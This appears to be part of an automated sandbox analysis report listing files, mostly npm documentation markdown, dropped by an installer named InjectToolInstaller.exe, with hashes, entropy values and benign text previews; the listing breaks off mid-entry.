Entropy (8bit):	4.9756938233144545
Encrypted:	false
SSDEEP:	24:lpL/aJfp5AiAqI5RBwkt2TixMDPhf15PhRGYWrKnla37PhXv:lCzA+ORdoiGTZLGMg7Rv
MD5:	3FCD5571ADBB550BF779D62523BC196E
SHA1:	72DB50817CC93AC440B630378767222E7342487B
SHA-256:	F9388C82A93327352EFDBA07225A7045E1517188D9B44193463F1D2EC46B30C2
SHA-512:	ACC7BA22250BDE86073EA1D2E0926A7F6E1FF7CB966C6F9FC8DE056773255EAED3D8FE41C451923471E147385CF3F74D45E8ACDFCFB9924D4EDEAE7381F91D88
Malicious:	false
Preview:	---.title: npm-shrinkwrap.section: 1.description: Lock down dependency versions for publication.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command repurposes `package-lock.json` into a publishable.`npm-shrinkwrap.json` or simply creates a new one. The file created and.updated by this command will then take precedence over any other existing.or future `package-lock.json` files. For a detailed explanation of the.design and purpose of package locks in npm, see.[package-lock-json](/configuring-npm/package-lock-json)...### See Also..* [npm install](/commands/npm-install).* [npm run-script](/commands/npm-run-script).* [npm scripts](/using-npm/scripts).* [package.json](/configuring-npm/package-json).* [package-lock.json](/configuring-npm/package-lock-json).* [npm-shrinkwrap.json](/configuring-npm/npm-shrinkwrap-json).* [npm ls](/commands/npm-ls).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-star.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	961
Entropy (8bit):	5.0506865788674355
Encrypted:	false
SSDEEP:	24:laJf/62wfN0ZeqzQPhhcMrf6lPhUVOrgePhhgkPhbPhYdkPh2PhOr:O/5mN0nWrz+aQrge5ucWg
MD5:	2762220F8EF99CECAFD4BA6259ABA2E4
SHA1:	512C42F4F5E4B099A0AF69A539EFFBE7F9A1DDB1
SHA-256:	64261D4BF17D6F532A379732AF072043931A4D4DC83B44C635FC93A4D800DA3B
SHA-512:	5817A78C830408E33EA544B7383C23E0D35106758FDB3BF69BEFD87773158F8630353D13A27AA37BF4C76B70FFFEDC917377E6EDA641EF3D1EFB80E5D552D3A1
Malicious:	false
Preview:	---.title: npm-star.section: 1.description: Mark your favorite packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description.."Starring" a package means that you have some interest in it. It's.a vaguely positive way to show that you care...It's a boolean thing. Starring repeatedly has no additional effect...### More..There's also these extra commands to help you manage your favorite packages:..#### Unstar..You can also "unstar" a package using [`npm unstar`](/commands/npm-unstar).."Unstarring" is the same thing, but in reverse...#### Listing stars..You can see all your starred packages using [`npm stars`](/commands/npm-stars)..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [package spec](/using-npm/package-spec).* [npm unstar](/commands/npm-unstar).* [npm stars](/commands/npm-stars).* [npm view](/commands/npm-view).* [npm whoami](/commands/npm-whoami).* [npm adduser](/commands/npm-adduser).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-stars.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	644
Entropy (8bit):	5.091394268505056
Encrypted:	false
SSDEEP:	12:WfhKZsDOqiJfuiF0xSijEtQLFYwI5oBEetlbI5S5DO4dPhM0ePhhY2PhYdkPhZ60:WaJffaSuYwI5cEolbI5MVdPhxePhhlPv
MD5:	B7976EF2B370BA8CBB4FAFE83D05FC6F
SHA1:	E13FD1C687B762DF1C8502AE7A470B457DAC4622
SHA-256:	02A548A04C82ADC4C2FF8C77CAAD7E35938E9EBC3B48CE5F72C4A613A902F5DC
SHA-512:	1A9ACD8DDB14266071F9EC59DDE58FBB98AFEF3F478F651B1E0629D3046AAAF9035BCD12378EE0F4139CFBA785645E7672A2D76FE376499E927FB1DEE18F1BD1
Malicious:	false
Preview:	---.title: npm-stars.section: 1.description: View packages marked as favorites.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..If you have starred a lot of neat things and want to find them again.quickly this command lets you do just that...You may also want to see your friend's favorite packages, in this case.you will most certainly enjoy this command...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm star](/commands/npm-star).* [npm unstar](/commands/npm-unstar).* [npm view](/commands/npm-view).* [npm whoami](/commands/npm-whoami).* [npm adduser](/commands/npm-adduser).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-start.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1116
Entropy (8bit):	5.158321051819328
Encrypted:	false
SSDEEP:	24:PaJfHD1VIuCI3IPhwzIziVK5PhRGY4PhV6PhoPhQ:oHD1VgJzigLGdcQe
MD5:	99E0ECA52638F7C03074AAD240A0299B
SHA1:	4A4234882C0FFDA2715D5C029ECC5E2B0DE4E486
SHA-256:	EE930D4138129C432E5273CC2B9ED593DD6F7FB92EBC23E6ADECCE91AB2B0BC0
SHA-512:	6DB22DF90F2C9CD26F759D0D3A26D87BE1282F2AA899A5E9D8BE843D1D8A3A74B6DDA081BF084523DFFEE7BC574E2091CE0D6FD6C328E3C44B6F0CD5CB7BDDC3
Malicious:	false
Preview:	---.title: npm-start.section: 1.description: Start a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This runs a predefined command specified in the `"start"` property of.a package's `"scripts"` object...If the `"scripts"` object does not define a `"start"` property, npm.will run `node server.js`...Note that this is different from the default node behavior of running.the file specified in a package's `"main"` attribute when evoking with.`node .`..As of [`npm@2.0.0`](https://blog.npmjs.org/post/98131109725/npm-2-0-0), you can.use custom arguments when executing scripts. Refer to [`npm run-script`](/commands/npm-run-script) for more details...### Example..```json.{. "scripts": {. "start": "node foo.js". }.}.```..```bash.npm start..> npm@x.x.x start.> node foo.js..(foo.js output would be here)..```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm run-script](/commands/npm-run-script).* [npm scripts](/using-np

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-stop.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	791
Entropy (8bit):	5.1198578743197
Encrypted:	false
SSDEEP:	24:RpaJfHXqkPhRoqJQPLeQIziVK5PhRGY4PhV5PhGPhX:gHXHoqJQjeHzigLGdRml
MD5:	B59928E02179BCA8696A468C5FD01796
SHA1:	3B561E8354372038E1171BAFA96F62C615F17753
SHA-256:	BD2B509D52027C8E2AA474D2041B0DBD57B9FE45FFE315844FF78616035A536A
SHA-512:	49419B0DDDB6271E85761B6EAC142FBB1B5D656D97D17A344195C28D358C351B1FF465AA55148871C271D467871EACE86709634EF2A73D2F89C8884F8D8948B8
Malicious:	false
Preview:	---.title: npm-stop.section: 1.description: Stop a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This runs a predefined command specified in the "stop" property of a.package's "scripts" object...Unlike with [npm start](/commands/npm-start), there is no default script.that will run if the `"stop"` property is not defined...### Example..```json.{. "scripts": {. "stop": "node bar.js". }.}.```..```bash.npm stop..> npm@x.x.x stop.> node bar.js..(bar.js output would be here)..```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm run-script](/commands/npm-run-script).* [npm scripts](/using-npm/scripts).* [npm test](/commands/npm-test).* [npm start](/commands/npm-start).* [npm restart](/commands/npm-restart).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-team.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	3033
Entropy (8bit):	4.6948211593117675
Encrypted:	false
SSDEEP:	48:jr/HHD6+IhvdIPLWdWkR9loC3e5DuwIQnCMfsZZAUkwG7WUATaDX+Qt09Wg5haBE:jb2vdIPLUR9l3ZUn3fyyWUATaJulIW
MD5:	DA587331A7B921B6CACCF556185D1B34
SHA1:	08E29CDE301BB373044E6678B7FB7B62BC2AD394
SHA-256:	70B8A2FACEF9039D4B604FFDE11FE2A3658F7E9FC2DEF2D6035BE5464FD21CD1
SHA-512:	019F6748490EBB1021B54BE5CD5D72659C207E25D84ED3A6FF3E15ABCEBC9CBCF208F0C383B514FFB3D0B551D1EAEDC6334EE3FA6FB9176B7720A81B6E92A447
Malicious:	false
Preview:	---.title: npm-team.section: 1.description: Manage organization teams and team memberships.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Used to manage teams in organizations, and change team memberships. Does not.handle permissions for packages...Teams must always be fully qualified with the organization/scope they belong to.when operating on them, separated by a colon (`:`). That is, if you have a.`newteam` team in an `org` organization, you must always refer to that team.as `@org:newteam` in these commands...If you have two-factor authentication enabled in `auth-and-writes` mode, then.you can provide a code from your authenticator with `[--otp <otpcode>]`..If you don't include this then you will be taken through a second factor flow based.on your `authtype`...* create / destroy:. Create a new team, or destroy an existing one. Note: You cannot remove the. `developers` team, <a href="https://docs.npmjs.com/about-developers-team" target="_blank">learn

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-test.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	667
Entropy (8bit):	5.128183197153032
Encrypted:	false
SSDEEP:	12:UhsDOqiJfrNBSEcRob0DTAV+qTUwI7k5DO4K5PhRGYsrPhvArPhCA2PhQ:PaJfHxI7aVK5PhRGYaPhGPhoPhQ
MD5:	9445B37F1CD92DEFF384EB401A783126
SHA1:	6D8500212A12269CCA1F5DA8BAB65C91A64F867C
SHA-256:	ECA33F9A3358E194B22D21495CCE7CE9D67F34DA8510694D289116DE984BD8C3
SHA-512:	8ACE235316960C95F65EFC60522AB969528C0206CA093682450D0281ACE29629FF6AFC23425D08A909D389AB7CE29F5DBD98B3CB74ACC0281BAB495472AEF6D5
Malicious:	false
Preview:	---.title: npm-test.section: 1.description: Test a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This runs a predefined command specified in the `"test"` property of.a package's `"scripts"` object...### Example..```json.{. "scripts": {. "test": "node test.js". }.}.```..```bash.npm test.> npm@x.x.x test.> node test.js..(test.js output would be here).```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm run-script](/commands/npm-run-script).* [npm scripts](/using-npm/scripts).* [npm start](/commands/npm-start).* [npm restart](/commands/npm-restart).* [npm stop](/commands/npm-stop).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-token.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3345
Entropy (8bit):	4.50303906017953
Encrypted:	false
SSDEEP:	48:rKVQN6V4itQ1gzkrsoJqdXQgN9BlSA+qcx/:r4QoVhQqysoZC92
MD5:	DA36E8E26FBA938DC7AEF222AB704F6D
SHA1:	63250C0CA814C6E6CB8923A251569357A1580A5D
SHA-256:	52A67C6AF398B74B30EA819D146CF041AE57BCE08A498A92F1672B143012035D
SHA-512:	A66108583D431953CF05AE927CB39924EF576C35C2E9CDE1B253B68075B515C9D45ECDA8A8396FC08EFCAD348C4BE88A302D5F0D6362DEDFAA1175042D89A3E1
Malicious:	false
Preview:	---.title: npm-token.section: 1.description: Manage your authentication tokens.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This lets you list, create and revoke authentication tokens...* `npm token list`:. Shows a table of all active authentication tokens. You can request. this as JSON with `--json` or tab-separated values with `--parseable`...```bash.+--------+---------+------------+----------+----------------+.\| id \| token \| created \| read-only \| CIDR whitelist \|.+--------+---------+------------+----------+----------------+.\| 7f3134 \| 1fa9ba. \| 2017-10-02 \| yes \| \|.+--------+---------+------------+----------+----------------+.\| c03241 \| af7aef. \| 2017-10-02 \| no \| 192.168.0.1/24 \|.+--------+---------+------------+----------+----------------+.\| e0cf92 \| 3a436a. \| 2017-10-02 \| no \| \|.+--------+---------+------------+----------+----------------+.\| 63eb9d \| 74ef35. \| 2017-09-28 \| no

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-uninstall.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1683
Entropy (8bit):	4.962488840786213
Encrypted:	false
SSDEEP:	48:S1bCny5mDxQsRzkkDpg/KbGWI1Vde9We+s:+Cn+mFQ+S/8Gd5M
MD5:	F06DE50ADCD516F1F2573BD75B885B70
SHA1:	700FBC51104140F187AAA8EAE7979DFD6578E160
SHA-256:	DE6F94857C637444B336789DDB740C9880F8EFB77B92C170CF5AC60842D53DD2
SHA-512:	AF2478D912FABC9159B05A84C72BBAFBC44E38901F34612F39A14F85C33620EEF1C431AC5E71F6C3DEBE2622ADE0B36F3B9BDDB53E4125019CD3DC9DF5570FE7
Malicious:	false
Preview:	---.title: npm-uninstall.section: 1.description: Remove a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This uninstalls a package, completely removing everything npm installed.on its behalf...It also removes the package from the `dependencies`, `devDependencies`,.`optionalDependencies`, and `peerDependencies` objects in your.`package.json`...Further, if you have an `npm-shrinkwrap.json` or `package-lock.json`, npm.will update those files as well...`--no-save` will tell npm not to remove the package from your.`package.json`, `npm-shrinkwrap.json`, or `package-lock.json` files...`--save` or `-S` will tell npm to remove the package from your.`package.json`, `npm-shrinkwrap.json`, and `package-lock.json` files..This is the default, but you may need to use this if you have for.instance `save=false` in your `npmrc` file..In global mode (ie, with `-g` or `--global` appended to the command),.it uninstalls the current package context as a global package.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-unpublish.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1510
Entropy (8bit):	4.948865307294076
Encrypted:	false
SSDEEP:	24:DaJfxe+Kn7DAlv2Ph2j534aiNNGLbWPhO0CiKhLFhW1eQ3YAJVOrE2Ph2APh9KP3:ck+oUlvc0l3PwN88JIhW1eQxjc0i/Iii
MD5:	1996D65C2E10F0F40E457D644CAEDE81
SHA1:	B84500B603E2D50AE1C17A98E1027E6BC6A2A6CF
SHA-256:	64ECFE12C5D0BCCF69E216B9EDA469AE269F103A3EB82DF0EDAD2948360198B1
SHA-512:	5A7FB259A6D173EC8774B94C8E8625AC75C30D5266539196D00B36DB74C52B3A0905F66F723AD4A22263548F1BE325D201AAB0767D92CA73013376623D6D3695
Malicious:	false
Preview:	---.title: npm-unpublish.section: 1.description: Remove a package from the registry.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..To learn more about how the npm registry treats unpublish, see our <a.href="https://docs.npmjs.com/policies/unpublish" target="_blank".rel="noopener noreferrer"> unpublish policies</a>..### Warning..Consider using the [`deprecate`](/commands/npm-deprecate) command instead,.if your intent is to encourage users to upgrade, or if you no longer.want to maintain a package...### Description..This removes a package version from the registry, deleting its entry and.removing the tarball...The npm registry will return an error if you are not [logged.in](/commands/npm-adduser)...If you do not specify a version or if you remove all of a package's.versions then the registry will remove the root package entry entirely...Even if you unpublish a package version, that specific name and version.combination can never be reused. In order to publish the package a

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-unstar.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.05452505891345
Encrypted:	false
SSDEEP:	24:D9aJf+XPhy90ZDu9XPhjMrf6lPhUVdPhFkPhbPhYdkPh2PhO7n:DGmM90UZK+aRze5ucWq
MD5:	C2ED85F0AFB981BD51CD7348DFB63AE9
SHA1:	4AA0BBE94E9BB2D0EA254BE1A4647A820A927756
SHA-256:	09259A5AABFAA9D24E8F5376CA134498ACC29A73C34E13D3C4A8E22F357BFD18
SHA-512:	D3E49F8AD28F34C9B1E747F23EB099BEF81E6D24994860FAAD2529A0724A946C0FFA7617EB7B9F5DBF0A49CCE97F9D8554F067529CF8030F69478F23095F70C7
Malicious:	false
Preview:	---.title: npm-unstar.section: 1.description: Remove an item from your favorite packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description.."Unstarring" a package is the opposite of [`npm star`](/commands/npm-star),.it removes an item from your list of favorite packages...### More..There's also these extra commands to help you manage your favorite packages:..#### Star..You can "star" a package using [`npm star`](/commands/npm-star)..#### Listing stars..You can see all your starred packages using [`npm stars`](/commands/npm-stars)..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm star](/commands/npm-star).* [npm stars](/commands/npm-stars).* [npm view](/commands/npm-view).* [npm whoami](/commands/npm-whoami).* [npm adduser](/commands/npm-adduser)..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-update.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3949
Entropy (8bit):	4.977724828059758
Encrypted:	false
SSDEEP:	48:IzLA0d4qO1QVOLAScR8jLov+Bd9QCe6TBGDJpWYvSg7z1pm7P3BXYvSiQob7CkaS:44qKc2jE2BXe6T4DJ3quqOvfRv
MD5:	28ACA2227103BD296664A3DE52477493
SHA1:	1883D6105F47A9EC082282541E6D43A7C8891104
SHA-256:	9F7A18288A26824AD6DEB393BA2DAA4CE6A69A2E519839D36E11C1DE6460ADDF
SHA-512:	A9609C492A4DE47545D3226D33466825E8556A2FE54C0CAF442FDB6302F630232E35AD344EFE4EE097218E20930276D1E25881C871A76AC2211D51AA66C74B58
Malicious:	false
Preview:	---.title: npm-update.section: 1.description: Update packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will update all the packages listed to the latest version.(specified by the [`tag` config](/using-npm/config#tag)), respecting the semver.constraints of both your package and its dependencies (if they also require the.same package)...It will also install missing packages...If the `-g` flag is specified, this command will update globally installed.packages...If no package name is specified, all packages in the specified location (global.or local) will be updated...Note that by default `npm update` will not update the semver values of direct.dependencies in your project `package.json`, if you want to also update.values in `package.json` you can run: `npm update --save` (or add the.`save=true` option to a [configuration file](/configuring-npm/npmrc).to make that the default behavior)...### Example..For the examples below, assume that the

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-version.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3728
Entropy (8bit):	4.8542622581240895
Encrypted:	false
SSDEEP:	96:/u6RvYlgIzEmKaHG9r5gmqGdZD9yrlwO2lGy:/u6Rv2tzE0+eIZD9ypw75
MD5:	0E667449084123761C1E199683CBC123
SHA1:	EF5AE413143D9967D98C1F5A672B312C7354C35B
SHA-256:	4E9B442FF8614599A7703113301D8726FA650920DF02B29C46CE734458EB8C89
SHA-512:	A8CD2C00E141A076CC2DFDE1F739F5823DE22BB898353FF79EE4B820480F58CF90E2322B0941EAC4A92C3CEBC80C38473212897C369656148D55E9FEF3A1D582
Malicious:	false
Preview:	---.title: npm-version.section: 1.description: Bump a package version.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### Description..Run this in a package directory to bump the version and write the new data.back to `package.json`, `package-lock.json`, and, if present,.`npm-shrinkwrap.json`...The `newversion` argument should be a valid semver string, a valid second.argument to [semver.inc](https://github.com/npm/node-semver#functions) (one.of `patch`, `minor`, `major`, `prepatch`, `preminor`, `premajor`,.`prerelease`), or `from-git`. In the second case, the existing version will.be incremented by 1 in the specified field. `from-git` will try to read.the latest git tag, and use that as the new npm version...If run in a git repo, it will also create a version commit and tag. This.behavior is controlled by `git-tag-version` (see below), and can be.disabled on the command line by running `npm --no-git-tag-vers

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-view.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3376
Entropy (8bit):	4.846452675792905
Encrypted:	false
SSDEEP:	48:GDpzcVMG7mFzVGJrJk35F85p0wpAJS0NK68v0V15Q4lPxJvPKJ/PkkA2b:GDyMKmcrJkpF85awpr0NK68vIQuxpQ/v
MD5:	8E5DBE1160AFFAF745B57F385A3548FB
SHA1:	7F3F8C9E2863BD13C26E96CA58D81FFB727A8250
SHA-256:	F4754A0317A6381AB7FBC76AE9BE83863EB0F95023015D94C1D17F2AD881451D
SHA-512:	6E0B6479B1168E368526753532480EA0A5215B677A49FE444FAA6619697324F3DF2392CB7EF0719F376F76069095701FF175F6575844E97876D722E971367EB3
Malicious:	false
Preview:	---.title: npm-view.section: 1.description: View registry info.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command shows data about a package and prints it to stdout...As an example, to view information about the `connect` package from the registry, you would run:..```bash.npm view connect.```..The default version is `"latest"` if unspecified...Field names can be specified after the package descriptor..For example, to show the dependencies of the `ronn` package at version.`0.3.5`, you could do the following:..```bash.npm view ronn@0.3.5 dependencies.```..You can view child fields by separating them with a period..To view the git repository URL for the latest version of `npm`, you would run the following command:..```bash.npm view npm repository.url.```..This makes it easy to view information about a dependency with a bit of.shell scripting. For example, to view all the data about the version of.`opts` that `ronn` depends on, you could write the f

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-whoami.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	709
Entropy (8bit):	4.991380364643134
Encrypted:	false
SSDEEP:	12:SCTl1sDOqiJfEcCLRBu+JKriD5Uudu+iBVO7bRW5DO43Ph4XPCrrPhOr:xTlKaJfEcAS+sOtzE+iBVJV3Ph4ePhOr
MD5:	E49FDD0FBE162008A4A40E83BB1C3A97
SHA1:	049BEB27FD2ECA6F559F7E04091B03E997275466
SHA-256:	53427CC7484761606F3FF967E12AD49D8C5C0437725BA45A497A86EFF5ACA0D7
SHA-512:	2A05631D6C6D812866393AF6D838F27FD0D624AE9705D0DB6C98D202DE1861EB9F77E4DB285EC157D3AA4B5D1DE0BD18D8FB0F0BF4E16A42012C2221E305ECB2
Malicious:	false
Preview:	---.title: npm-whoami.section: 1.description: Display npm username.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Display the npm username of the currently logged-in user...If logged into a registry that provides token-based authentication, then.connect to the `/-/whoami` registry endpoint to find the username.associated with the token, and print to standard output...If logged into a registry that uses Basic Auth, then simply print the.`username` portion of the authentication string...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [npm adduser](/commands/npm-adduser).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5624
Entropy (8bit):	4.8464592503210895
Encrypted:	false
SSDEEP:	96:d6UB/dHpj6T9Ws1ivtG29ritY1sijq+0iwKgOZ5:L3Hpj6JcVG2NitY1zqggi5
MD5:	3A66101E3DB0770989AE37209A1B50A5
SHA1:	A0538D1507E1773DF0E2ABA9B611DA4EDFDA9D4F
SHA-256:	3C2038C6A48434CAC14607D4A814817220685BECB3873A92E9DF5075FAA152D6
SHA-512:	BED37A8B9320CE197F68AF4508632D8DC02D3D585A3C239E57E00F4080AF122FF96D302CE3350A8C3C5E46F144955A7E30F4D871E61778EFA5492CE5C420BA37
Malicious:	false
Preview:	---.title: npm.section: 1.description: javascript package manager.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Version..@VERSION@..### Description..npm is the package manager for the Node JavaScript platform. It puts.modules in place so that node can find them, and manages dependency.conflicts intelligently...It is extremely configurable to support a variety of use cases. Most.commonly, you use it to publish, discover, install, and develop node.programs...Run `npm help` to get a list of available commands...### Important..npm comes preconfigured to use npm's public registry at.https://registry.npmjs.org by default. Use of the npm public registry is.subject to terms of use available at.https://docs.npmjs.com/policies/terms...You can configure npm to use any compatible registry you like, and even.run your own registry. Use of someone else's registry is governed by.their terms of use...### Introduction..You probably got npm because you want to install stuff...The ve

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npx.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5610
Entropy (8bit):	4.6953656272269075
Encrypted:	false
SSDEEP:	96:qR0JjPu+1kaC8mOM1ZeQ6DSOhyyKMpOMqEr71K2jLXO/SQ83lGA:qm9/q7eXS2yy7pOMj71K2YM3lX
MD5:	BD737293D1EBD048159F40973E5491D1
SHA1:	B93BCF351F672ED1BE4F88464137197861E731CE
SHA-256:	32F8647389F99E411FC835408696FDE423722F49CC0F9C4704E3575A28E35397
SHA-512:	28F447851755D1821839D8126D99BE3A0DA76EA24B837FF17093D17D38F8E7612543B5C644C0D5C0DFEF64F479DA7497F1B4461A67D49DA2849036106AD7DD68
Malicious:	false
Preview:	---.title: npx.section: 1.description: Run a command from a local or remote npm package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command allows you to run an arbitrary command from an npm package.(either one installed locally, or fetched remotely), in a similar context.as running it via `npm run`...Whatever packages are specified by the `--package` option will be.provided in the `PATH` of the executed command, along with any locally.installed package executables. The `--package` option may be.specified multiple times, to execute the supplied command in an environment.where all specified packages are available...If any requested packages are not present in the local project.dependencies, then they are installed to a folder in the npm cache, which.is added to the `PATH` environment variable in the executed process. A.prompt is printed (which can be suppressed by providing either `--yes` or.`--no`)...Package names provided without a specifier w

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\configuring-npm\folders.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8142
Entropy (8bit):	4.868816872938327
Encrypted:	false
SSDEEP:	96:uGPwCeyGyZKEYE8GvePwlqEQiq3AK0/z8AWG/5sq+19u9n+/RJEcEIGnwS:3h50fHdQQX3AK0/z8A3/L+1YF+HKV
MD5:	1A2D708F7B7C7A9259286A427A5C820D
SHA1:	38ECA97B0F1A1BF45CBD93FBF209484E520E1148
SHA-256:	C63A0283B16A9B43FB4AA0562A58F31537029237185EE097D2CFAA91D9C7B2E3
SHA-512:	B41539BCDD782DDC1848849E3BAED76C149DE364EC2304206DCA0D6D538490C4E118D548880D549C2D4AA6833432E8DB9C2F75CA767834CB98612C6875C65F7A
Malicious:	false
Preview:	---.title: folders.section: 5.description: Folder Structures Used by npm.---..### Description..npm puts various things on your computer. That's its job...This document will tell you what it puts where...#### tl;dr..* Local install (default): puts stuff in `./node_modules` of the current. package root..* Global install (with `-g`): puts stuff in /usr/local or wherever node. is installed..* Install it locally if you're going to `require()` it..* Install it globally if you're going to run it on the command line..* If you need both, then install it in both places, or use `npm link`...#### prefix Configuration..The [`prefix` config](/using-npm/config#prefix) defaults to the location where.node is installed. On most systems, this is `/usr/local`. On Windows, it's.`%AppData%\npm`. On Unix systems, it's one level up, since node is typically.installed at `{prefix}/bin/node` rather than `{prefix}/node.exe`...When the `global` flag is set, npm installs things into this prefix..When it

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\configuring-npm\install.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2810
Entropy (8bit):	4.73884845967059
Encrypted:	false
SSDEEP:	48:9ieG74GKrGJFD4iCk5dp8jGr2LVL9iGrhbyrpa9WrgGRy8JEG3kuIHkb6U78sTo1:9O7TKOAZ0TbeZyo1
MD5:	7A4F40B735908DEEB7268D7795F9910E
SHA1:	5780DBC77F7ECD96D95183B3F59EB6539DDAAB01
SHA-256:	6ECBEE745EFF913E326367A80794BACEF624590D7FCD0903A5972ED3D672E683
SHA-512:	CB6BD504FC2D7156874CD7F344F9A3013D810702E6341B5368C2C3090D52C7CC3232D38076025DF4171CB842484BB629D6FF35FDF120DAA98150346B33309DC8
Malicious:	false
Preview:	---.title: install.section: 5.description: Download and install node and npm.---..### Description..To publish and install packages to and from the public npm registry, you.must install Node.js and the npm command line interface using either a Node.version manager or a Node installer. We strongly recommend using a Node.version manager to install Node.js and npm. We do not recommend using a.Node installer, since the Node installation process installs npm in a.directory with local permissions and can cause permissions errors when you.run npm packages globally...### Overview..- [Checking your version of npm and. Node.js](#checking-your-version-of-npm-and-nodejs).- [Using a Node version manager to install Node.js and. npm](#using-a-node-version-manager-to-install-nodejs-and-npm).- [Using a Node installer to install Node.js and. npm](#using-a-node-installer-to-install-nodejs-and-npm)..### Checking your version of npm and Node.js..To see if you already have Node.js and npm installed an

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\configuring-npm\npm-shrinkwrap-json.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	4.787891117238067
Encrypted:	false
